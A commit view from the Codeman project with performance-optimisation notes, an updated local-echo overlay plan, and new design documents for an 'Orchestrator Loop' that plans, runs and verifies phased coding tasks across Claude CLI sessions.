Node.js re-parses and compiles all JS on every cold start. `NODE_COMPILE_CACHE` caches V8 compiled bytecode to disk, reusing it on subsequent starts.
- Added `Environment=NODE_COMPILE_CACHE=/home/arkon/.codeman/compile-cache` to systemd service
- Added to `npm start` script for non-systemd usage
- Zero code changes, immediate win on every restart
### 2. WebGL Addon Lazy-Loading (244KB saved on mobile, non-blocking on desktop)
**Files:** `src/web/public/index.html`, `src/web/public/app.js`
`xterm-addon-webgl.min.js` (244KB) was loaded eagerly for all users via `<script defer>`, but only used on desktop with WebGL2 support.
- Removed `<script defer>` from `index.html`
- Added dynamic script loading in `app.js` — only downloads on desktop when WebGL is needed
- Mobile users never download the file at all (244KB saved)
- Desktop: loads in parallel with page rendering, addon initializes when ready
- Graceful fallback: canvas renderer used if WebGL unavailable or script fails
### 3. Preload Hints (~50-100ms faster perceived load)
**Files:** `src/web/public/index.html`
Browser discovers `<script defer>` tags only when the parser reaches them at the bottom of `<body>`. By then, the HTML parse has blocked for hundreds of lines.
- Added `<link rel="preload" as="script">` in `<head>` for `vendor/xterm.min.js`, `constants.js`, `app.js`
- Browser starts fetching critical scripts immediately during HTML parse (before reaching `<body>`)
- Zero runtime overhead — just hints for the browser's preload scanner
### 4. Batch Tmux Reconciliation (N subprocess calls → 1)
**Files:** `src/tmux-manager.ts`
`reconcileSessions()` previously called `tmux has-session` + `tmux display-message` per known session, plus `tmux list-sessions` for discovery, plus `tmux display-message` per discovered session. With 20 sessions: 41+ subprocess calls.
- Replaced with single `tmux list-panes -a -F '#{session_name}\t#{pane_pid}'` call
- Builds a Map from the result, then does O(1) lookups for both known and discovered sessions
- Also replaced inner O(n) `isKnown` scan with a Set lookup
- 20 sessions: 41 subprocess calls → 1, with faster lookups
### 5. Asset Hashing / Cache Busting (already implemented)
**Files:** `scripts/build.mjs` (pre-existing)
Content-hash cache busting was already implemented in the build script:
- All app JS/CSS files get content hashes (`app.abc123.js`)
- `index.html` rewritten to reference hashed filenames
- Pre-compressed with gzip + Brotli
- 1-year immutable cache works correctly — new deploys get new filenames
## Already Optimized (No Action Needed)
| Area | Why It's Fine |
|------|---------------|
| **SSE Broadcasting** | Single serialization per broadcast, preformatted frames, backpressure handling, session subscription filtering |
| **State Persistence** | 500ms debounce, incremental per-session JSON caching, async atomic writes, circuit breaker on failures |
| **Terminal Batching** | Adaptive intervals (16-50ms), per-session queues, immediate flush at 32KB, array-based accumulation |
| **Buffer Management** | BufferAccumulator (array-push, lazy join), auto-trim at 2MB/1MB, no string concatenation in hot paths |
| **ANSI Stripping** | Pre-compiled regex via factory functions, single-pass processing |
| **Static File Serving** | @fastify/static with 1-year cache, pre-compressed Brotli/gzip, no-cache for HTML |
| **Memory Management** | CleanupManager, LRUMap, StaleExpirationMap, bounded buffers, explicit listener cleanup |
| **Import Patterns** | Pure ESM, lazy web server import, no circular deps, no dynamic imports in hot paths |
| **Config Loading** | Small constant files, no I/O at import time, specific imports (no barrel) |
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 806 KiB

+6 -4
View File
@@ -1,5 +1,7 @@
# Local Echo Overlay — Implementation Plan
> **Status: SHIPPED.** Implementation lives in `packages/xterm-zerolag-input/src/` (overlay-renderer.ts, prompt-finder.ts, cell-dimensions.ts, zerolag-input-addon.ts) with the embedded copy in `src/web/public/app.js`. This document is retained as historical design context.
## Context
User accesses Codeman remotely from Thailand to Switzerland over Tailscale (~200-300ms RTT).
@@ -18,9 +20,9 @@ redraws. A DOM overlay sits in a separate rendering layer (z-index 7) and doesn'
with Ink's cursor management or screen redraws at all. When Ink redraws (server output arrives),
we simply hide the overlay.
**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL) in our
xterm.js v5.3.0, so both terminal text and overlay text are rendered by the same browser
font engine with identical sub-pixel rendering.
**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL), so both
terminal text and overlay text are rendered by the same browser font engine with identical
sub-pixel rendering. (Originally designed against xterm.js v5.3.0; project now on `@xterm/xterm` ^6.0.0 — the internal `_core._renderService.dimensions` access path still works in v6.)
## Key Technical Details (from research)
@@ -36,7 +38,7 @@ const top = cursorY * dims.css.cell.height; // CSS pixels, relative to .xterm-
- `cursorY` = `terminal.buffer.active.cursorY` (0 to terminal.rows-1, ALREADY viewport-relative)
- No scroll offset math needed
### Cell Dimensions (v5.3.0 — no public API, use internal)
### Cell Dimensions (no public API in v5/v6 — use internal; public in v7+)
```js
const dims = terminal._core._renderService.dimensions;
dims.css.cell.width // e.g., 8.4px
+367
View File
@@ -0,0 +1,367 @@
# Orchestrator Loop — Architecture & Data Flow
> Technical architecture document. Not for GitHub.
## System Overview
```
┌─────────────────────────────────────────────────────────────────────┐
│ CODEMAN WEB UI │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Orchestrator Dashboard │ │
│ │ [Goal Input] [Plan View] [Phase Progress] [Agent Activity] │ │
│ └───────────────────────────┬──────────────────────────────────┘ │
│ │ SSE Events │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Orchestrator API Routes (/api/orchestrator/*) │ │
│ └───────────────────────────┬──────────────────────────────────┘ │
└───────────────────────────────┼─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR LOOP │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ │
│ │ Orchestrator │ │ Orchestrator │ │ Orchestrator │ │
│ │ Planner │ │ Loop (state │ │ Verifier │ │
│ │ │ │ machine) │ │ │ │
│ │ • Research │◄──►│ • Phase mgmt │◄──►│ • Test runner │ │
│ │ • Plan gen │ │ • Task queue │ │ • AI review │ │
│ │ • Phasing │ │ • Event loop │ │ • Output checks │ │
│ └──────┬───────┘ └──────┬───────┘ └──────────┬───────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ EXISTING CODEMAN INFRASTRUCTURE │ │
│ │ │ │
│ │ SessionManager ←→ Sessions ←→ PTY (Claude CLI) │ │
│ │ ↑ ↑ ↑ │ │
│ │ │ │ │ │ │
│ │ TaskQueue RalphTracker RespawnController │ │
│ │ StateStore HooksConfig TeamWatcher │ │
│ │ Auto-Ops SubagentWatcher SSE Broadcast │ │
│ └──────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
```
## Data Flow: Complete Lifecycle
### 1. User Submits Goal
```
User → POST /api/orchestrator/start { goal: "Build a REST API...", config: {...} }
→ OrchestratorLoop.start(goal)
→ state = PLANNING
→ emit('stateChanged', 'planning')
→ SSE: orchestrator:stateChanged
```
### 2. Planning Phase
```
OrchestratorPlanner.generatePlan(goal)
→ PlanOrchestrator.generateDetailedPlan(goal)
→ [Research Agent] → enriched task description
→ [Planner Agent] → PlanItem[]
→ groupIntoPhases(planItems)
→ topological sort by dependencies
→ group into layers
→ assign team strategies
→ OrchestratorPlan { phases: [...] }
→ state = APPROVAL
→ emit('planReady', plan)
→ SSE: orchestrator:planReady
```
### 3. User Approves Plan
```
User → POST /api/orchestrator/approve
→ OrchestratorLoop.approvePlan()
→ state = EXECUTING
→ executePhase(phases[0])
```
### 4. Phase Execution
```
executePhase(phase)
→ For each task in phase:
→ Convert to CreateTaskOptions
→ Add to TaskQueue with completion phrase "PHASE_{N}_TASK_{M}_DONE"
→ If phase.teamStrategy.type === 'team':
→ Start session with AGENT_TEAMS enabled
→ Send team orchestration prompt to lead
→ Else:
→ Assign tasks to available sessions (same as RalphLoop)
→ Listen for task completion events:
→ TaskQueue emits taskCompleted
→ Check: all phase tasks done?
→ Yes → state = VERIFYING → verifyPhase(phase)
→ No → wait for more completions
```
### 5. Verification
```
verifyPhase(phase)
→ OrchestratorVerifier.verify(phase, session)
→ Run test commands via session
→ Check file existence
→ AI review (optional)
→ If passed:
→ phase.status = 'passed'
→ emit('phaseCompleted', phase)
→ If more phases: executePhase(nextPhase)
→ If last phase: state = COMPLETED
→ If failed:
→ phase.attempts++
→ If attempts < maxAttempts:
→ state = REPLANNING
→ Generate recovery tasks
→ state = EXECUTING (retry)
→ Else:
→ state = FAILED
→ emit('phaseFailed', phase, reason)
```
### 6. Context Management Between Phases
```
After phase completion:
→ If config.compactBetweenPhases:
→ session.sendInput('/compact')
→ Wait for compact to complete
→ If config.respawnBetweenMilestones && phase is a milestone:
→ Save orchestrator state to StateStore
→ Respawn session (kill + recreate)
→ Send resume prompt with phase context
```
## File Layout
```
src/
├── orchestrator-loop.ts # Main state machine (~400 lines)
├── orchestrator-planner.ts # Plan generation + phase grouping (~300 lines)
├── orchestrator-verifier.ts # Phase verification (~200 lines)
├── types/
│ └── orchestrator.ts # All orchestrator types (~150 lines)
├── prompts/
│ └── orchestrator.ts # Prompt templates (~200 lines)
├── web/
│ ├── routes/
│ │ └── orchestrator-routes.ts # API endpoints (~250 lines)
│ └── public/
│ └── orchestrator-ui.js # Frontend panel (~500 lines)
```
## Integration Points with Existing Code
### StateStore (`src/state-store.ts`)
```typescript
// Add to AppState interface
orchestrator?: OrchestratorPersistState;
// Add methods
getOrchestratorState(): OrchestratorPersistState;
setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
```
### SSE Events (`src/web/sse-events.ts`)
```typescript
// Add ~8 new events
export const SseEvent = {
// ... existing
ORCHESTRATOR_STATE_CHANGED: 'orchestrator:stateChanged',
ORCHESTRATOR_PLAN_READY: 'orchestrator:planReady',
ORCHESTRATOR_PHASE_STARTED: 'orchestrator:phaseStarted',
ORCHESTRATOR_PHASE_COMPLETED: 'orchestrator:phaseCompleted',
ORCHESTRATOR_PHASE_FAILED: 'orchestrator:phaseFailed',
ORCHESTRATOR_VERIFICATION: 'orchestrator:verificationResult',
ORCHESTRATOR_COMPLETED: 'orchestrator:completed',
ORCHESTRATOR_ERROR: 'orchestrator:error',
} as const;
```
### Frontend Constants (`src/web/public/constants.js`)
```javascript
// Mirror SSE events
SSE_EVENTS.ORCHESTRATOR_STATE_CHANGED = 'orchestrator:stateChanged';
// ... etc
```
### Route Registration (`src/web/routes/index.ts`)
```typescript
import { registerOrchestratorRoutes } from './orchestrator-routes.js';
// Add to barrel export
```
### Server (`src/web/server.ts`)
```typescript
// Initialize OrchestratorLoop alongside RalphLoop
const orchestratorLoop = new OrchestratorLoop(config);
// Register routes
registerOrchestratorRoutes(app, { ...ctx, orchestrator: orchestratorLoop });
```
### Port Interface (`src/web/ports/`)
```typescript
// New port
export interface OrchestratorPort {
orchestrator: OrchestratorLoop;
}
```
## Prompt Flow Through System
The key insight is how prompts flow from Orchestrator → Session → Claude:
```
OrchestratorLoop decides to execute Phase 3, Task 2
│
▼
Converts OrchestratorTask to CreateTaskOptions:
{
prompt: "Implement the rate limiter middleware. Read src/middleware/auth.ts
for the pattern. Add to src/middleware/rate-limiter.ts. Must export
a Fastify plugin. When done: <promise>PHASE_3_TASK_2_DONE</promise>",
priority: 100,
dependencies: ["phase-3-task-1"], // Must finish auth middleware first
completionPhrase: "PHASE_3_TASK_2_DONE",
timeoutMs: 600000 // 10 minutes
}
│
▼
TaskQueue.addTask(options)
│
▼
RalphLoop.tick() → assignTasks() // OR OrchestratorLoop does its own assignment
│
▼
session.sendInput(task.prompt)
│
▼
writeViaMux() → tmux send-keys -l "prompt..." + Enter
│
▼
Claude CLI receives prompt, executes, outputs results
│
▼
RalphTracker.processData() → detects "PHASE_3_TASK_2_DONE"
│
▼
emit('completionDetected') → OrchestratorLoop.handleTaskCompleted()
│
▼
Check: all tasks in Phase 3 done? → If yes → verifyPhase(phase3)
```
## Team Agent Flow (When Enabled)
```
Phase has teamStrategy.type === 'team'
│
▼
OrchestratorLoop creates/reuses a session with:
env: { CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' }
│
▼
Sends team orchestration prompt:
"You're the team lead for Phase 3: Core Implementation.
Your team should work on these tasks in parallel:
1. Rate limiter middleware (teammate 1)
2. Error handling middleware (teammate 2)
3. Validation layer (teammate 3)
Context files to read first: [...]
Each teammate should output their task's completion phrase when done.
When ALL tasks are complete, output: <promise>PHASE_3_COMPLETE</promise>"
│
▼
Claude Code team-lead spawns teammates
│
▼
TeamWatcher detects new team in ~/.claude/teams/
→ Matches to session via leadSessionId
→ Tracks teammate activity
│
▼
Teammates work in parallel (in-process threads)
│
▼
hook: teammate_idle → POST /api/hook-event
→ OrchestratorLoop notes teammate finished
│
▼
hook: task_completed → POST /api/hook-event
→ Or: RalphTracker detects PHASE_3_COMPLETE
→ OrchestratorLoop → phase complete → verify
```
## Error Recovery Strategy
```
Task fails (timeout, error, session crash)
│
├─ Task-level retry (up to 2 retries per task)
│ → Reset task to pending
│ → Re-queue with modified prompt: "Previous attempt failed: {error}. Try again..."
│
├─ Phase-level retry (up to 3 retries per phase)
│ → Respawn session (fresh context)
│ → Re-execute entire phase with learnings from failure
│ → Modified prompt includes what went wrong
│
└─ Orchestration-level failure
→ All retries exhausted
→ state = FAILED
→ Notify user with detailed failure report
→ User can: modify plan → retry, skip phase → continue, or stop
```
## Interaction with Ralph Loop
Ralph Loop and Orchestrator Loop are **mutually exclusive** on the same sessions:
```
if (orchestratorLoop.isRunning()) {
// Orchestrator controls task assignment
// Ralph Loop should not interfere
// Respawn Controller uses 'orchestrator' preset
}
if (ralphLoop.isRunning()) {
// Ralph controls task assignment
// Orchestrator should not start
}
```
The Orchestrator can optionally USE the Ralph Loop internally for phase execution (delegate phase tasks to Ralph's queue), or manage task assignment directly. Decision: **manage directly** — gives more control over phase boundaries and verification timing.
## Summary of What Touches What
| Existing File | Change |
|---|---|
| `src/types/index.ts` | Export orchestrator types |
| `src/state-store.ts` | Add orchestrator state persistence |
| `src/web/sse-events.ts` | Add ~8 orchestrator events |
| `src/web/routes/index.ts` | Register orchestrator routes |
| `src/web/server.ts` | Initialize OrchestratorLoop |
| `src/web/public/constants.js` | Mirror SSE events |
| `src/web/public/app.js` | Add orchestrator event listeners, panel toggle |
| `src/web/route-helpers.ts` | Add 'orchestrator' respawn preset |
| New File | Purpose |
|---|---|
| `src/orchestrator-loop.ts` | Core state machine |
| `src/orchestrator-planner.ts` | Plan generation + phasing |
| `src/orchestrator-verifier.ts` | Phase verification |
| `src/types/orchestrator.ts` | Type definitions |
| `src/prompts/orchestrator.ts` | Prompt templates |
| `src/web/routes/orchestrator-routes.ts` | API endpoints |
| `src/web/public/orchestrator-ui.js` | Frontend panel |
| `src/web/ports/orchestrator-port.ts` | Port interface |
+633
View File
@@ -0,0 +1,633 @@
# Orchestrator Loop — Detailed Implementation Plan (v2)
> Internal research/planning document. Not for GitHub.
## Vision
The **Orchestrator Loop** is a new autonomous execution mode that transforms high-level user goals into phased, verified, team-coordinated implementations. Unlike Ralph Loop (flat task queue → idle sessions), the Orchestrator manages the full lifecycle: **plan → approve → execute → verify → adapt → complete**.
```
USER: "Add OAuth2 login with Google/GitHub, role-based access control, and API key management"
ORCHESTRATOR:
Phase 1: Research & Setup ✅ (3m) — scaffold, deps, config
Phase 2: Auth Core ✅ (8m) — OAuth2 flow, session mgmt
Phase 3: Provider Integration 🔄 (12m) — Google + GitHub (parallel via team agents)
Phase 4: RBAC ⏳ — roles, permissions, middleware
Phase 5: API Keys ⏳ — generation, validation, rate limits
Phase 6: Testing & Review ⏳ — integration tests, security review
Progress: ━━━━━━━━━━━━━━━━━━━━ 40% | Agents: 3 active | Time: 23m
```
## Architecture
```
┌─────────────────────────────────────────────────────────────────┐
│ OrchestratorLoop │
│ │
│ ┌────────────────┐ ┌────────────────┐ ┌──────────────────┐ │
│ │ Orchestrator │ │ Orchestrator │ │ Orchestrator │ │
│ │ Planner │ │ Executor │ │ Verifier │ │
│ │ │ │ │ │ │ │
│ │ PlanOrchestrator│ │ TaskQueue │ │ AI review │ │
│ │ + phase grouper│ │ SessionManager │ │ Test commands │ │
│ │ + team strategy│ │ Team prompts │ │ File checks │ │
│ └───────┬────────┘ └───────┬────────┘ └─────────┬────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ │ │
│ ┌─────────▼─────────┐ │
│ │ Existing Codeman │ │
│ │ Infrastructure │ │
│ │ │ │
│ │ SessionManager │ │
│ │ TaskQueue │ │
│ │ RespawnController │ │
│ │ TeamWatcher │ │
│ │ PlanOrchestrator │ │
│ │ StateStore │ │
│ │ Hooks + SSE │ │
│ └────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
## State Machine
```
┌─────────┐
│ IDLE │
└────┬────┘
│ start(goal)
▼
┌─────────┐
┌────────│PLANNING │────────┐
│ fail └────┬────┘ │
▼ │ plan ready │ user cancels
┌────────┐ ▼ ▼
│ FAILED │ ┌─────────┐ ┌────────┐
└────────┘ │APPROVAL │ │ IDLE │
▲ └────┬────┘ └────────┘
│ │ approve
│ ▼
│ ┌──────────┐
│ ┌───►│EXECUTING │◄────────────────────┐
│ │ └────┬─────┘ │
│ │ │ all tasks in phase done │
│ │ ▼ │
│ │ ┌──────────┐ │
│ │ │VERIFYING │ │
│ │ └────┬─────┘ │
│ │ pass │ │ fail │
│ │ ▼ ▼ │
│ │ more ┌──────────┐ │
│ │ phases?│REPLANNING│── retry ────────┘
│ │ │ └────┬─────┘
│ │ │ │ max retries
│ │ │ ▼
│ │ │ ┌────────┐
│ └────┘ │ FAILED │
│ next └────────┘
│ phase
│ │
│ ▼
│ ┌───────────┐
└─│ COMPLETED │
└───────────┘
```
**States:** `idle` | `planning` | `approval` | `executing` | `verifying` | `replanning` | `completed` | `failed` | `paused`
Transitions are event-driven. The state machine is the single source of truth — all methods check `this.state` before acting.
## Type Definitions
### `src/types/orchestrator.ts`
```typescript
// ═══════════════════════════════════════════════════════════════
// State Machine
// ═══════════════════════════════════════════════════════════════
export type OrchestratorState =
| 'idle'
| 'planning'
| 'approval'
| 'executing'
| 'verifying'
| 'replanning'
| 'completed'
| 'failed'
| 'paused';
// ═══════════════════════════════════════════════════════════════
// Plan Structure
// ═══════════════════════════════════════════════════════════════
export interface OrchestratorPlan {
id: string;
goal: string;
createdAt: number;
phases: OrchestratorPhase[];
metadata: {
totalTasks: number;
estimatedComplexity: 'low' | 'medium' | 'high';
modelUsed: string;
planDurationMs: number;
};
}
export interface OrchestratorPhase {
id: string; // "phase-1", "phase-2"
name: string; // Human-readable name
description: string;
order: number;
status: PhaseStatus;
tasks: OrchestratorTask[];
verificationCriteria: string[];
testCommands: string[];
maxAttempts: number; // Default: 3
attempts: number; // Current attempt count
startedAt: number | null;
completedAt: number | null;
durationMs: number | null;
teamStrategy: TeamStrategy;
}
export type PhaseStatus =
| 'pending'
| 'executing'
| 'verifying'
| 'passed'
| 'failed'
| 'skipped';
export interface OrchestratorTask {
id: string; // "phase-1-task-1"
phaseId: string;
prompt: string; // Single-line prompt for Claude
status: 'pending' | 'running' | 'completed' | 'failed';
assignedSessionId: string | null;
queueTaskId: string | null; // Links to TaskQueue task
parallel: boolean; // Can run in parallel with sibling tasks
completionPhrase: string; // Unique phrase for completion detection
timeoutMs: number;
startedAt: number | null;
completedAt: number | null;
error: string | null;
retries: number;
}
// ═══════════════════════════════════════════════════════════════
// Team Strategy
// ═══════════════════════════════════════════════════════════════
export type TeamStrategy =
| { type: 'single' } // One session handles all
| { type: 'parallel'; maxSessions: number } // Multiple sessions
| { type: 'team'; config: TeamSetup } // Agent teams
export interface TeamSetup {
leadPrompt: string;
suggestedTeammates: string[]; // Role descriptions
maxTeammates: number;
}
// ═══════════════════════════════════════════════════════════════
// Verification
// ═══════════════════════════════════════════════════════════════
export interface VerificationResult {
passed: boolean;
checks: VerificationCheck[];
summary: string;
suggestions: string[]; // Recovery hints for replanning
}
export interface VerificationCheck {
type: 'test_command' | 'ai_review' | 'file_check';
description: string;
passed: boolean;
output?: string;
}
// ═══════════════════════════════════════════════════════════════
// Configuration
// ═══════════════════════════════════════════════════════════════
export interface OrchestratorConfig {
plannerModel: string; // Default: 'opus'
researchEnabled: boolean; // Default: true
autoApprove: boolean; // Default: false
maxPhaseRetries: number; // Default: 3
phaseTimeoutMs: number; // Default: 1800000 (30min)
enableTeamAgents: boolean; // Default: true
maxParallelSessions: number; // Default: 3
verificationMode: 'strict' | 'moderate' | 'lenient';
compactBetweenPhases: boolean; // Default: true
}
// ═══════════════════════════════════════════════════════════════
// Persistence (saved to ~/.codeman/state.json)
// ═══════════════════════════════════════════════════════════════
export interface OrchestratorPersistState {
state: OrchestratorState;
plan: OrchestratorPlan | null;
currentPhaseIndex: number;
startedAt: number | null;
completedAt: number | null;
config: OrchestratorConfig;
stats: OrchestratorStats;
}
export interface OrchestratorStats {
phasesCompleted: number;
phasesFailed: number;
totalTasksCompleted: number;
totalTasksFailed: number;
totalDurationMs: number;
replanCount: number;
}
```
## New Files (Implementation Order)
### Step 1: `src/types/orchestrator.ts` — Type definitions
All interfaces above. No dependencies. ~120 lines.
### Step 2: `src/orchestrator-planner.ts` — Plan generation + phase grouping
~300 lines. Wraps existing PlanOrchestrator.
```typescript
/**
* @fileoverview Orchestrator plan generation — converts goals into phased plans.
*
* Uses PlanOrchestrator for AI plan generation, then groups PlanItems into
* sequential phases with team strategies and verification criteria.
*
* @module orchestrator-planner
*/
export class OrchestratorPlanner {
constructor(mux: TerminalMultiplexer, workingDir: string, config: OrchestratorConfig);
/** Generate plan from goal. Uses PlanOrchestrator internally. */
async generatePlan(goal: string, onProgress?: ProgressCallback): Promise<OrchestratorPlan>;
/** Cancel in-progress plan generation. */
async cancel(): Promise<void>;
// Internal
private groupIntoPhases(items: PlanItem[], goal: string): OrchestratorPhase[];
private assignTeamStrategies(phases: OrchestratorPhase[]): void;
private generateCompletionPhrases(plan: OrchestratorPlan): void;
}
```
**Phase grouping algorithm:**
1. Topological sort by `PlanItem.dependencies`
2. Group into dependency layers (Kahn's algorithm)
3. Within each layer, sub-group by `tddPhase` (setup → test → impl → verify → review)
4. Merge adjacent small phases (< 2 tasks) if they share the same tddPhase
5. Assign team strategies:
- 1-2 tasks → `{ type: 'single' }`
- 3+ independent tasks → `{ type: 'parallel', maxSessions: Math.min(taskCount, config.maxParallelSessions) }`
- 4+ tasks with high complexity → `{ type: 'team', config: { ... } }`
6. Generate unique completion phrases per task: `ORCH_P{phaseOrder}_T{taskIndex}`
### Step 3: `src/orchestrator-verifier.ts` — Phase verification
~200 lines.
```typescript
/**
* @fileoverview Orchestrator phase verification.
*
* Runs verification checks after each phase completes:
* test commands, AI review, and file existence checks.
*
* @module orchestrator-verifier
*/
export class OrchestratorVerifier {
constructor(config: OrchestratorConfig);
/** Run all verification checks for a completed phase. */
async verifyPhase(
phase: OrchestratorPhase,
session: Session,
mode: 'strict' | 'moderate' | 'lenient'
): Promise<VerificationResult>;
// Verification strategies
private async runTestCommands(commands: string[], session: Session): Promise<VerificationCheck[]>;
private async aiReview(phase: OrchestratorPhase, session: Session): Promise<VerificationCheck>;
}
```
**Verification modes:**
- `strict`: ALL test commands must pass AND AI review must approve
- `moderate`: Test commands must pass, AI review is advisory
- `lenient`: At least one test command passes, AI review skipped
**AI review prompt (sent as a task to the session):**
```
Review Phase "{phase.name}" completion. Check:
1. Expected functionality works
2. No obvious regressions
3. Code quality is acceptable
Criteria: {phase.verificationCriteria.join('\n')}
If ALL criteria are met, respond: ORCH_VERIFY_PASS
If ANY criteria fail, respond: ORCH_VERIFY_FAIL and explain what failed.
```
### Step 4: `src/orchestrator-loop.ts` — Core state machine
~500 lines. Main orchestrator engine.
```typescript
/**
* @fileoverview Orchestrator Loop — phased plan execution with team agents.
*
* State machine that generates plans from user goals, executes them
* phase-by-phase with verification gates, and adapts on failure.
*
* @module orchestrator-loop
*/
export interface OrchestratorLoopEvents {
stateChanged: (state: OrchestratorState, prevState: OrchestratorState) => void;
planReady: (plan: OrchestratorPlan) => void;
phaseStarted: (phase: OrchestratorPhase) => void;
phaseCompleted: (phase: OrchestratorPhase) => void;
phaseFailed: (phase: OrchestratorPhase, reason: string) => void;
taskAssigned: (task: OrchestratorTask, sessionId: string) => void;
taskCompleted: (task: OrchestratorTask) => void;
taskFailed: (task: OrchestratorTask, error: string) => void;
verificationResult: (phase: OrchestratorPhase, result: VerificationResult) => void;
completed: (stats: OrchestratorStats) => void;
error: (error: Error) => void;
}
export class OrchestratorLoop extends EventEmitter {
private state: OrchestratorState = 'idle';
private plan: OrchestratorPlan | null = null;
private currentPhaseIndex = 0;
private config: OrchestratorConfig;
private planner: OrchestratorPlanner;
private verifier: OrchestratorVerifier;
private sessionManager: SessionManager;
private taskQueue: TaskQueue;
private store: StateStore;
private stats: OrchestratorStats;
private cleanup: CleanupManager;
private pausedState: OrchestratorState | null = null; // State before pause
// ── Lifecycle ──────────────────────────────────────────────
constructor(mux: TerminalMultiplexer, workingDir: string, config?: Partial<OrchestratorConfig>);
/** Start orchestration with a goal. Transitions: idle → planning */
async start(goal: string): Promise<void>;
/** Approve the generated plan. Transitions: approval → executing */
async approve(): Promise<void>;
/** Reject plan with feedback. Transitions: approval → planning (regenerate) */
async reject(feedback: string): Promise<void>;
/** Pause execution. Saves current state. */
pause(): void;
/** Resume from pause. */
resume(): void;
/** Stop everything and clean up. → idle */
async stop(): Promise<void>;
/** Skip current phase. → executing (next phase) or completed */
async skipPhase(phaseId: string): Promise<void>;
/** Retry a failed phase. → executing */
async retryPhase(phaseId: string): Promise<void>;
// ── Getters ────────────────────────────────────────────────
getState(): OrchestratorState;
getPlan(): OrchestratorPlan | null;
getCurrentPhase(): OrchestratorPhase | null;
getStats(): OrchestratorStats;
getStatus(): OrchestratorPersistState;
// ── Internal: Phase Execution ──────────────────────────────
private async executeCurrentPhase(): Promise<void>;
private async executePhase(phase: OrchestratorPhase): Promise<void>;
private async assignPhaseTasks(phase: OrchestratorPhase): Promise<void>;
private handleTaskCompleted(taskId: string): void;
private handleTaskFailed(taskId: string, error: string): void;
private async onPhaseTasksComplete(phase: OrchestratorPhase): Promise<void>;
// ── Internal: Verification ─────────────────────────────────
private async verifyCurrentPhase(): Promise<void>;
private async handleVerificationResult(phase: OrchestratorPhase, result: VerificationResult): Promise<void>;
// ── Internal: Replanning ───────────────────────────────────
private async replanPhase(phase: OrchestratorPhase, failures: string[]): Promise<void>;
// ── Internal: State Machine ────────────────────────────────
private setState(newState: OrchestratorState): void;
private advanceToNextPhase(): Promise<void>;
private persist(): void;
private restore(): void;
}
```
**Key execution flow in `executePhase()`:**
1. Mark phase as `executing`, emit `phaseStarted`
2. For each task in phase:
- Create a `CreateTaskOptions` from `OrchestratorTask`
- Add to `TaskQueue` with proper dependencies + completion phrase
- Store the TaskQueue task ID in `OrchestratorTask.queueTaskId`
3. Poll task completion (listen to TaskQueue events)
4. When all tasks complete → call `onPhaseTasksComplete()`
5. `onPhaseTasksComplete()` triggers verification
**How tasks get assigned to sessions:**
The OrchestratorLoop does NOT manage session assignment directly. It adds tasks to the existing TaskQueue and starts a mini poll loop that assigns pending tasks to idle sessions — the same pattern as RalphLoop's `assignTasks()`. This reuses existing session management.
**Team agent flow:**
For phases with `teamStrategy.type === 'team'`:
- Start a single session with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
- Instead of adding individual tasks to TaskQueue, send ONE comprehensive prompt to the lead
- The prompt instructs the lead to create teammates and delegate
- Monitor via TeamWatcher for team task completion + hook events
- Phase completion is detected via the lead's completion phrase
### Step 5: `src/web/routes/orchestrator-routes.ts` — API endpoints
~300 lines.
```
POST /api/orchestrator/start — { goal, config? } → start planning
POST /api/orchestrator/approve — approve generated plan
POST /api/orchestrator/reject — { feedback } → reject + replan
POST /api/orchestrator/pause — pause execution
POST /api/orchestrator/resume — resume execution
POST /api/orchestrator/stop — stop orchestration
GET /api/orchestrator/status — full state + plan + stats
GET /api/orchestrator/plan — plan details only
POST /api/orchestrator/phase/:id/skip — skip a phase
POST /api/orchestrator/phase/:id/retry — retry a failed phase
```
Port dependency: `SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort`
The route module receives the OrchestratorLoop instance via the InfraPort (added to `createRouteContext()`).
### Step 6: SSE Events — `src/web/sse-events.ts` additions
```typescript
// ─── Orchestrator ────────────────────────────────────────────────────────────
/** Orchestrator state machine transitioned. */
export const OrchestratorStateChanged = 'orchestrator:stateChanged' as const;
/** Orchestrator plan generated and ready for approval. */
export const OrchestratorPlanReady = 'orchestrator:planReady' as const;
/** Orchestrator phase started executing. */
export const OrchestratorPhaseStarted = 'orchestrator:phaseStarted' as const;
/** Orchestrator phase completed successfully. */
export const OrchestratorPhaseCompleted = 'orchestrator:phaseCompleted' as const;
/** Orchestrator phase failed. */
export const OrchestratorPhaseFailed = 'orchestrator:phaseFailed' as const;
/** Orchestrator verification result for a phase. */
export const OrchestratorVerification = 'orchestrator:verification' as const;
/** Orchestrator task assigned to session. */
export const OrchestratorTaskAssigned = 'orchestrator:taskAssigned' as const;
/** Orchestrator task completed. */
export const OrchestratorTaskCompleted = 'orchestrator:taskCompleted' as const;
/** Orchestrator task failed. */
export const OrchestratorTaskFailed = 'orchestrator:taskFailed' as const;
/** All phases completed successfully. */
export const OrchestratorCompleted = 'orchestrator:completed' as const;
/** Orchestrator error. */
export const OrchestratorError = 'orchestrator:error' as const;
```
11 new events. Add to `SseEvent` namespace object + mirror in `constants.js`.
### Step 7: State persistence — `src/state-store.ts` additions
Add to `AppState`:
```typescript
orchestrator?: OrchestratorPersistState;
```
Add methods:
```typescript
getOrchestratorState(): OrchestratorPersistState | null;
setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
clearOrchestratorState(): void;
```
### Step 8: Server integration — `src/web/server.ts` modifications
1. Import `OrchestratorLoop` and `registerOrchestratorRoutes`
2. Add `private orchestratorLoop: OrchestratorLoop` field
3. Initialize in constructor (lazy — created on first start, not at boot)
